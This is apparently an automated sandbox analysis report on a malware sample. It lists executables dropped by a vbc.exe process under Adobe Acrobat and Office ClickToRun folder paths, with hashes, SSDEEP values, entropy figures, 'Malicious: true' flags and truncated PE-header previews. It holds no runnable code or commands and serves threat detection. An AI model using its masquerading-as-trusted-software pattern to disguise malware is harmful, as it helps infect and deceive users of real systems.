SHA-512:	A0D9436BA2A0EF22BCD4C6A2F4AB9DFC0F37A9C8917531A31413C88B97C69CC0F7F8B5B21374E6B3EED32AF67336FB15C86B1AE1D38244661447E21EFF4757B2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$......................................s...X............................[....U=....................h...n......n.Y.....1....n......Rich...........PE..d......c..........".................0i.........@..............................$.......... .................................................H...d............@..Tx......................p...................`...(...`................................................text............................... ..`.rdata..@...........................@..@.data....>......."..................@....pdata..Tx...@...z..................@..@.rsrc................z..............@..@.reloc..............................@...................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1515520
Entropy (8bit):	5.41180797664427
Encrypted:	false
SSDEEP:	24576:cGqVwCto1Gm5WgbsqjnhMgeiCl7G0nehbGZpbD:JZ1GmUgDmg27RnWGj
MD5:	BAA97B20E3E571C9DCF5407A6C9DC331
SHA1:	3C0D7A166C1FDB59A4D0941128EDF21FA0399700
SHA-256:	426B5655338E5B66FDE7C94E22C3ECE7E80A41B841E589DF635ECB020023BE26
SHA-512:	BCF0C628F8A3049D5ADDB366D03827F3204D4502E21EB3D965239261B29AAD288153B05D5557EC8EBE5C6FF444F3632310945798D04E8C665C3F813894B3DC12
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................v......................................a..X.....X........r....X.....Rich...........PE..d......c.........."............................@....................................(\|.... .................................................. ...........v..............................p.......................(....................0...............................text............................... ..`.rdata..Z$...0...&..................@..@.data...x"...`.......@..............@....pdata...............L..............@..@.rsrc....v.......v...j..............@..@.reloc...P...0...@..................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1253376
Entropy (8bit):	5.157425664535493
Encrypted:	false
SSDEEP:	12288:qWBWHXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:qWBWHsqjnhMgeiCl7G0nehbGZpbD
MD5:	A6E264A337B6BA85D755A97B42AF003E
SHA1:	461E94F58F3139A56FE2EB68D24ECBB9F9CBFF0D
SHA-256:	3F159BA91A53B6994ABEA847F1CFCA21CC5AFC97CFD24BBD622F961F68A9826F
SHA-512:	C9FE6E59F6F37E61EBCC5EFF019AFA5F3DB7C5E1109E6E31914733A45DFCFA688A5C0D508E8598EA48CD3A7E6C3E79246EAEB17404A7B6A6943AFA835114D94B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1.v.Pc%.Pc%.Pc%.(.%.Pc%C$g$.Pc%C$`$.Pc%C$f$.Pc%C$b$.Pc%.;g$.Pc%.;b$.Pc%.Pb%EPc%z$f$.Pc%z$.%.Pc%.P.%.Pc%z$a$.Pc%Rich.Pc%................PE..d...DC,d.........."............................@.............................`............ .................................................h...@.......@............................Q..T....................S..(... R..8............0...............................text............................... ..`.rdata..$....0......................@..@.data...............................@....pdata..............................@..@.rsrc...@...........................@..@.reloc...P.......@..................@...........................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1683968
Entropy (8bit):	7.228514679513595
Encrypted:	false
SSDEEP:	24576:if9AiKGpEoQpkN2C4McuKo0GTNtpyT5RGeQa0wsqjnhMgeiCl7G0nehbGZpbD:i+GtCi27mVTyT+a0sDmg27RnWGj
MD5:	7D6044BD92538DDC6B31B55D3CA009C5
SHA1:	CD20085F8E5982B512BE7F90B70CA5A1FF796A6D
SHA-256:	AA160A636DBE57A82FC13620508C511DBD339C1669FB3F3179D184C14F2CB1DD
SHA-512:	CD69F63DA680EEBCE308940FEFC6E5F94629F6AEC14D05648512AA9E419ECBB58571AFD793212E0ECF68B92C8B427BBD91C8A17D47550DB10D1FA6D78F5A92B1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........ ..N...N...N......N.e.K...N...O...N...J...N...M...N...H...N...K...N...#...N.<~3...N..C3...N...O...N...O.O.N...F...N.......N......N...L...N.Rich..N.................PE..d...%..c.........."......j...t......@..........@.......................................... .................................................x........... ....p..dt......................p.......................(... ...8............................................text...kh.......j.................. ..`.rdata...............n..............@..@.data...`S.......F..................@....pdata..dt...p...v...D..............@..@.rsrc... ...........................@..@.reloc..............................@...........................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3110912
Entropy (8bit):	6.649672264713212
Encrypted:	false
SSDEEP:	49152:yU198PzqkltcT0gViJNfBZQiOIK5Ns6YZ82PTJeYXDmg27RnWGj:X2NfHOIK5Ns6qR91D527BWG
MD5:	4D5FFB7A9FE23C33018CCA6810AF0561
SHA1:	7589B87C5BAB7FD6B4B7F3039589AC6E5DD5D8D6
SHA-256:	DB69EB475BEFA1A0AACDD0CA5F2FA3FA931808EEA26D7A7B16A85609737D8936
SHA-512:	8D0B2165418451583EFC3CAE6512ED47026BFFEA94F8E1CF6DC26BE3C87F82F3FD39E06A9A1B0FFD2164814D8E2582D481C8571040820C78FE423E23F7347DA4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......'A3rc ]!c ]!c ]!..!h ]!..!. ]!..!x ]!1UY r ]!1U^ i ]!.O.!a ]!..!g ]!..!b ]!1UX . ]!..!@ ]!.UX . ]!c \!.!]!.UT . ]!.U.!b ]!c .!b ]!.U_ b ]!Richc ]!................PE..d.....Zd..........".................t..........@..............................0.....X)0... ..................................................o .......&......$.`....................x..p....................y..(....)..8....................j .@....................text............................... ..`.rdata..8...........................@..@.data....q.... ..<...r .............@....pdata..`.....$.......#.............@..@_RDATA........&.......%.............@..@.rsrc........&.......%.............@..@.reloc...@....&..0...H&.............@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1588224
Entropy (8bit):	5.531940031316267
Encrypted:	false
SSDEEP:	24576:jkcWTUQcydLsqjnhMgeiCl7G0nehbGZpbD:jhKUEDmg27RnWGj
MD5:	946FA159052E76E9E0CE72AFB76B6F7D
SHA1:	DAEAACDD08A4CB24CA07B6037C05F4ECE5B8CD17
SHA-256:	A553E8C8EDFEC9E53D5B61FFEB08517D62F8531622A61F6993D4522801E84A58
SHA-512:	925AE16AE39C1C8FD584E83892FA948E743F94E9F29FD22EAAF67AA75C714927616A09BF80B13A1ADA4C99BDC964EB413139DD0DBF4D41E75A349317EA3E3017
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0I..Q'..Q'..Q'..7#..Q'..7$..Q'..7".!Q'..$#..Q'..$$..Q'..7&..Q'..$"..Q'.x$"..Q'..Q&.dQ'.x$...Q'.x$...Q'..Q...Q'.x$%..Q'.Rich.Q'.........................PE..d.....Zd.........."......,..........(?.........@....................................:W.... .................................................(...P................m..................tC..p...........................p...8............@..........@....................text....+.......,.................. ..`.rdata......@.......0..............@..@.data....)..........................@....pdata...m.......n..................@..@_RDATA...............B..............@..@.rsrc................D..............@..@.reloc...`...@...P..................@...................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1338368
Entropy (8bit):	5.352680785641225
Encrypted:	false
SSDEEP:	12288:AfY+FUBAXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:AA+qBAsqjnhMgeiCl7G0nehbGZpbD
MD5:	DF1105E7A3F726CFB6C2BF8759A91988
SHA1:	B02FAC63B7CE2D6BF8AA500B6995D60796978D0B
SHA-256:	B03C393C668F4C5EF8EF9DBBC98CE1F283B07F23563EA988BD88FFD03E3C6A4F
SHA-512:	46D43C13A3A4245F831D0F29685570F0F3974BB4C35EDCB01B8A91F4085C8562B8B96DB96942090BBF2A156C4CF35DBA2C610EEDE4BA0936092958E13F4929CF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..*...y...y...y...y...y..x...y..x...y..x...y..x-..y..Ey...yb.x...y...y..yN.x...yN.}y...yN.x...yRich...y........PE..L...<..[................. ...................0....@..................................6..............................................0...............................J..p....................K.......J..@............0...............................text... ........ .................. ..`.rdata.......0.......$..............@..@.data....E.......B..................@....rsrc........0......................@..@.reloc...p...@...`..................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1143296
Entropy (8bit):	5.022690346177126
Encrypted:	false
SSDEEP:	12288:EXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:EsqjnhMgeiCl7G0nehbGZpbD
MD5:	C018E1C19C4079A1D3984F7AD59E1979
SHA1:	32FC3D448A55804C640ABB59FA19838E0319215E
SHA-256:	D2F8D25096210E98C8F16DBADE29D6186B3C764D04EDDF85E4E3E7A6C932D447
SHA-512:	7E7646D3436017E3D43ECDB539F7188CABE6DAC8D325A788437B02B25C57AB29F60DC366A28DDD7F5A00FC02456D554417E54DCADCA519D4C0BB9FEF2A0328A6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................+.............................................................G.............Rich............................PE..d...~^.c.........."..........$......p..........@.....................................w.... ..................................................;.......p.......`......................d4..p............................4..8............0..0............................text...\|........................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata.......`......................@..@.rsrc........p.......0..............@..@.reloc...P.......@...2..............@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1161728
Entropy (8bit):	5.047174220454958
Encrypted:	false
SSDEEP:	12288:RUXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:GsqjnhMgeiCl7G0nehbGZpbD
MD5:	52995FB55FB7CFFB2C0D5D3CC45F4C41
SHA1:	2A4EC318F35859ACC74C3C6EEA7585225FE77368
SHA-256:	35E9D03417E856C16812BA842D3A3D8136A99EDD9AF2F8DBD36BDB82E644ECA6
SHA-512:	24D47B2B4C400D97982723918224AEC3DCFE52E395708EF398B12FFBB2B56EEF8339B0E51D964A99B8317292B172571C49156FA9A6F0A27AE8BE24F18F1C3E29
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2\.v=..v=..v=...E?.x=..I..\|=..I..u=..I..j=..I..p=..bV..q=..v=...=..I..t=..IS.w=..v=;.w=..I..w=..Richv=..........................PE..d....^.c.........."......<...B.......>.........@.....................................E.... ..................................................i..........P.......,...................`X..T............................X..8............P...............................text....;.......<.................. ..`.rdata..$'...P...(...@..............@..@.data................h..............@....pdata..,............l..............@..@.rsrc...P............r..............@..@.reloc...P.......@...z..............@...........................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4151808
Entropy (8bit):	6.499787057734289
Encrypted:	false
SSDEEP:	49152:ntuUC0nNc/RcYHCY9AWWnURqdHIEogMAYrukdUmSC+bXMZQU1QqpN755xDmg27RN:njEIa4HIEWOc53D527BWG
MD5:	141EDACAF70B481E1C3D9354978F03A4
SHA1:	47A5AD1D23F9150110698FF6633576145A050E72
SHA-256:	40AD6CFECAE026376BC506A690512124E2132734BB92CC492179DB604F8B97C3
SHA-512:	56912476E62B1A94568965CB917418A3E40CB9DB4C3815D48792351191E14B49BF817A1D03399D3B96700FEA1D6008F3165538E2EEDF6C7221C7098AC6F4C1FC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........x...............r.......r.......r.......v$.....>m......>m......>m.......r...............r..............<m......<m......<m&.......N.....<m......Rich............................PE..d...<..d.........."......:....................@............................. @....../@... .........................................0.%.......%......0)......p'.......................!.T.....................!.(....s .8............P......l.%......................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data....D... &.......&.............@....pdata.......p'.......&.............@..@.didat........).......(.............@..._RDATA....... ).......(.............@..@.rsrc........0).......(.............@..@.reloc...@....6..0...*6.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59941376
Entropy (8bit):	7.99936733426603
Encrypted:	true
SSDEEP:	1572864:1Qb5m2CYw2bheyHA2DiAVPNqCPiQwm9tqGWS15Vj9QVqd2+NAs:uXhwMhe6AABPiQwF6xQ22R
MD5:	10389E883940C208AF0DBF79E346AA82
SHA1:	52FB17E12AF21EA9513B047354CB7A9871A7D157
SHA-256:	6FB28F41B680B798E3301C0E7184E9AF7DE68BA49F0488B808A950C6001CED87
SHA-512:	7DFB4195506250D19918ED0D07E757DB6FE492F75C93325E0EFFFC72E70616DCF3BA6F10DDCB732AE01E7C49439AB1B34B5906CB7137BB4699483F6AE2A446B4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;......J...J...Jk.Kt..Jk.Kl..Jk.K..J..Kn..J..Ku..J..K+..Jk.Kt..J...J..J..Kf..J..Kt..J..@J~..J..(J}..J..K~..JRich...J................PE..d...z..d..........".................3.........@.............................0............ .....................................................x....`.........06..................8%..T....................&..(...Pg..8............ ......@...@....................text............................... ..`.rdata...}... ...~..................@..@.data...TS..........................@....pdata..06.......8..................@..@.didat..x....@......................@..._RDATA.......P......................@..@.rsrc.......`.....................@..@.reloc.......@.....................@...................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1230336
Entropy (8bit):	5.185609431094396
Encrypted:	false
SSDEEP:	12288:mejVWYUAUXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:DjkY7UsqjnhMgeiCl7G0nehbGZpbD
MD5:	DDF18AEA49B04A30411A7FA6F181A82D
SHA1:	89C6F4A59AEA0160DA0FFABEF4AB9464E2C934C8
SHA-256:	8EE8B79EFCE9739FBBDDDA6BA65186874A24A6FDBD57DA539BF6CCFF2B92F2D1
SHA-512:	AEC030FAE6B4B4E7943204911DD630A2D6B6FD89736295AC0C9B0B27C855EC396518AEAF8511FD5894C22258F7222A39DB39599A3ECA201297443A6B02A95D33
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................b....6......6......6.....6.....................M..4......4......4........f....4.....Rich...........................PE..L.....{d.................&...`...............@....@.................................=Z.......................................r..,................................... O..p....................P.......O..@............@..4............................text....%.......&.................. ..`.rdata...@...@...B...*..............@..@.data................l..............@....rsrc................p..............@..@.reloc...`.......P...v..............@...................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1384960
Entropy (8bit):	5.377835155980864
Encrypted:	false
SSDEEP:	24576:1xwSJhkrmZsosqjnhMgeiCl7G0nehbGZpbD:1y+krKsUDmg27RnWGj
MD5:	2FFD59B4636F6760B30B1E109632C201
SHA1:	729AEF99A27A44AE3A9D35E7779A69EE82584CFE
SHA-256:	F6BA77CD80DFDE6C43938C8F2723DFF1E60557A090ECFC6B750024BA7E2D7823
SHA-512:	E95B6061E72C480E542EFF01C1D26875964710F056DEF02D158EE6ED4E853B515870E4EBAB077B35AFEC0BA6206856E48949508C1F8AA587354C721123891126
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................y...5.......5.....5......7.......................7.....7.Z....2...7.....Rich..........................PE..d.....{d.........."..........<.......&.........@......................................... .................................................`...x.... ..............................`j..p....................l..(....j..8............................................text...l........................... ..`.rdata..............................@..@.data...4#..........................@....pdata........... ..................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc...P...0...@..................@...................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1649152
Entropy (8bit):	5.632746320404695
Encrypted:	false
SSDEEP:	24576:JHQJLIRgvsnN5sqjnhMgeiCl7G0nehbGZpbD:JHQJL349Dmg27RnWGj
MD5:	115B0775DDF7AC56CC75908D3F500172
SHA1:	A431073986A6105CA4E1C4E77335387550FFFAC0
SHA-256:	67EB7CDFDBB6AD17C9F6ADDE61F167EC93E00DA80C9D7005516426ECB37D4D1A
SHA-512:	DB12BFBAC4C185026479D9F9E30454EB2700FD28E16119DFC3829F6D9EE8AF4ADD744A04C7889BACE497F7712CB57F05FF81FD321A8AE4FB5FF8AF2F5D912403
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L<."o."o."o...o.."o+.&n.."o+.!n.."o+.#n."o+.'n."o..$n."o..#n.."o).+n.."o.#o;."o).'n."o)..o."o). n."oRich."o........PE..d......d.........."......\.....................@.....................................8.... .................................................."..@....0...........W..................x...T.......................(...`...8............p..........`....................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data....^...P...R...2..............@....pdata...W.......X..................@..@.didat..8...........................@....msvcjmc..... ......................@....rsrc........0......................@..@.reloc...P...@...@..................@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5365760
Entropy (8bit):	6.450977550702275
Encrypted:	false
SSDEEP:	49152:BUZujDjDjDjXmXgoz2PsapFQrC7dRpqbeE8U2IzwDt+bdro4O8b8ITDnlggyJ1ko:mWmXL6DEC7dRpKuDQbgSD527BWG
MD5:	C37FACD897A1D9BE9B8999DB058512E7
SHA1:	455EE52581909FE51D23B07E7B63D93F751CFE48
SHA-256:	B9D5C10F69676C09D1B71E94A188F76C4D00F2922B3749AFB5D7C273A72BB278
SHA-512:	C87F227DF08D71A199069B2D6BC2822F3BB066447463A6DCCA4C7DB4A3E4CB95F269DD422CFD2689EED38ACF99115C15B1392A7577B1B5C581A8817539FAC003
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........I.~.(g-.(g-.(g-.Cd,.(g-.Cb,i(g-.G.-.(g-b\c,.(g-b\d,.(g-.t.-.(g-.(g-C(g-b\b,.(g-.Cc,.(g-.Ca,.(g-.Cf,.(g-.(f-.+g-`\b,.(g-`\g,.(g-`\.-.(g-.(.-.(g-`\e,.(g-Rich.(g-........PE..L......d.........."......./..p......P"%.......0...@...........................R.......R..............................@:......@:.......;..V...........................^6.T...................._6.....h.5.@.............0...... :.`....................text...*./......./................. ..`.rdata..Ze....0..f....0.............@..@.data....E....:......h:.............@....didat........;......B;.............@....rsrc....V....;..X...H;.............@..@.reloc...P...@G..@....F.............@...........................................................................................................................................................................................................................

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3163136
Entropy (8bit):	7.972783202893685
Encrypted:	false
SSDEEP:	98304:6rZ23AbsK6Ro022JjL2WEiVqJZRD527BWG:0JADmmxL2WEoCZRVQBWG
MD5:	5A7B5E67A247F3621D2A1A5B724F23D6
SHA1:	204C598743000E8E140BA26FC7DC179996D0CA09
SHA-256:	8C48BE8A358C031435172B8CCD0FAABB4D25D350E6DFE108CB5E633B73A4D729
SHA-512:	CB5AC1806DD234C88235C4C937C84C5A5285B6F6ED0A5E875FCB1394BCB8E58580050C1357727D4EBA3C401D73FB8A87990C3DFCE731AC68EC11664540A83CEF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5{.!q..rq..rq..rq..r...rQc.r`..rQc.r`..rQc.rp..rQc.rp..rRichq..r........................PE..L.....A.................~... .......^... ........... ........................1.......0.......... .....................................0............................!............................................... ...............................text....\|... ...~.................. ..`.data...............................@....rsrc...../......./.................@...................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1213440
Entropy (8bit):	7.204931137690633
Encrypted:	false
SSDEEP:	24576:0frYY42wd7hlOw9fpkEE644sqjnhMgeiCl7G0nehbGZpbD:Jz9xrSkDmg27RnWGj
MD5:	034B1834FF4C694072EBCFEA9339232A
SHA1:	85F144F4273BAA9205EB97C0AA22D269C43A52DD
SHA-256:	EE57B9DB3307DCF36C6E3C31B2679B64EF8C4504274D26B8D8DC60A39F4E56B2
SHA-512:	1391A90200E726EB8EC72BA6408C62C9C0C7390BC59FAA98BC59EA63A475B662DA473B012465E909AF3BAFF96831933C92E18C859D092184A6524D82473EAB0C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@......T...T...T...U...T...U...T..U...T..U...T...U...T..U...T...U...T...Tf..T..U...T..T...T..uT...T..U...TRich...T................PE..d.....{d..........#......J...........3.........@............................. .......E.... ..................................................L.......`..........(J..................p...T.......................(... B..8............`.......I..`....................text....H.......J.................. ..`.rdata..d....`.......N..............@..@.data...(w...p...&...^..............@....pdata..(J.......L..................@..@.didat.......@......................@..._RDATA.......P......................@..@.rsrc........`......................@...................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1388544
Entropy (8bit):	5.272952915922038
Encrypted:	false
SSDEEP:	12288:DwkNKiZ+R2GGNUbTF5zXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/T:DzNKUE5zsqjnhMgeiCl7G0nehbGZpbD
MD5:	8D348E51F8069BC0B8AF286A2D8796A8
SHA1:	0BF2B4901018FE940CA9D5D6C628F86A68329BAA
SHA-256:	B49942764D3DB10349AA5F4CC0A79B0046776E79265DE87AC53BDA120C4F871E
SHA-512:	7E804C14EDB0BCF3760E0C85D518F569630477F76B0CDE3BBAC08146FAC38DF977023B4EB60A59312593ACCE783D5C5AD222D414EA3F07F6AB0D1D912902673F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........E@..$...$...$...\...$...V*..$...V-..$...V+..$...V/..$...$/.0 ...V&..$...V..$...V..$...V,..$..Rich.$..........PE..d...!!.R.........."......`..........0C.........@.............................P.......5.... .......... ......................................Xl..........X.......d.......................T...................8...(.......8...........`...`............................text...(X.......`.................. ..`.rdata..z....p... ...p..............@..@.data...............................@....pdata..d........ ..................@..@.rsrc...X...........................@..@.reloc...p.......`..................@...................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5855744
Entropy (8bit):	6.574343016884408
Encrypted:	false
SSDEEP:	98304:TALuzDKnxCp3JKNrPJzruaI6HMaJTtGbGD527BWG:EaGg3cFPIaI6HMaJTtGbGVQBWG
MD5:	B81AFC19C9D8BAAC5570BE09B27B0A0F
SHA1:	95FEAD3A67B7599EDEF06F24C4CCBA2CE0622F00
SHA-256:	225F99363C6166116A7012ADBB35B6E06B790C9A59CE49B54698524899BE048A
SHA-512:	C5796A69CDF1DA8A6037CFD7F79CB416F4FD1DBA946509F7CE14629F59376BC082C221552D0CD9904D229C3D18FC5D29B07309AE32396D7912685FDAC9949746
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......Jc.M.............p......nx......nx......).......)........p.......p.......p..&....p..............nx..i...kx......kx......kx..g...kxx.............kx......Rich....................PE..d....".e..........".... .z6..........32........@..............................Y.....#EZ... .................................................8.B.......K..a...PI..%..................0.B.8...................X.B.(.....7.@.............6.0.....B......................text....y6......z6................. ..`.rdata..5.....6......~6.............@..@.data...`....0G.......G.............@....pdata...%...PI..&...:I.............@..@.didat.. .....K......`K.............@..._RDATA..\.....K......fK.............@..@.rsrc....a....K..b...hK.............@..@.reloc........P.......O.............@...................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1312768
Entropy (8bit):	5.3560930813389245
Encrypted:	false
SSDEEP:	24576:oXr/SVMxW8sqjnhMgeiCl7G0nehbGZpbD:o1xRDmg27RnWGj
MD5:	EC709FE78BFAEFFDDE20A122069F98DE
SHA1:	782CF3B53FD15EE360676EACB6FEE5C8F5518AB4
SHA-256:	50864D30049CFEA867E6559E260289C7E40F1AB11171B494CB8DF1A34DD3EDB2
SHA-512:	4C82C5B9F89E96C1A93F3D30BCED95BEEF9992C209D3BDDD7EED089CBC12E5EB62FFBA58B03639CB3B681FA94A238082B9C6F8C0B00425C0F78C4EBC4CFCA395
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........K.k...k...k.......k.......k.......k.......k...k..Ro.......k....l..k.......k....n..k.......k..Rich.k..........PE..L...9.A/.....................T......@V............@..........................P......."........... ......................................8............................_..T...............................@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...8...........................@..@.reloc...p.......`..................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27533312
Entropy (8bit):	6.248638638842956
Encrypted:	false
SSDEEP:	196608:FhRrmpGpGdJM7Hbp8JfrCGvqYYuNDmoefAlprtPz25HqaI6HMaJTtGbQOCVQBWG:FhRCpGpMJMrbp8JjpNdNlc5eB
MD5:	CD76A471F612BCB209F792AAFC4CF23D
SHA1:	FE6D2D172717FB32280D939B324EA37D2C8EDADF
SHA-256:	AF1A0F40D0B871A3C52730A7DB1E30F056D854D8EC948D05405331D792B5D8FF
SHA-512:	DB0C619FB11E7C5A08621C646402158DCD59F4CD15DF526429F8F47C1CD156090568D7867E7ED0A43F9ABE7E9D2CCC94A76BCA73BC07A933B7CC5407FD75B3EF
Malicious:	true
Reputation:	unknown
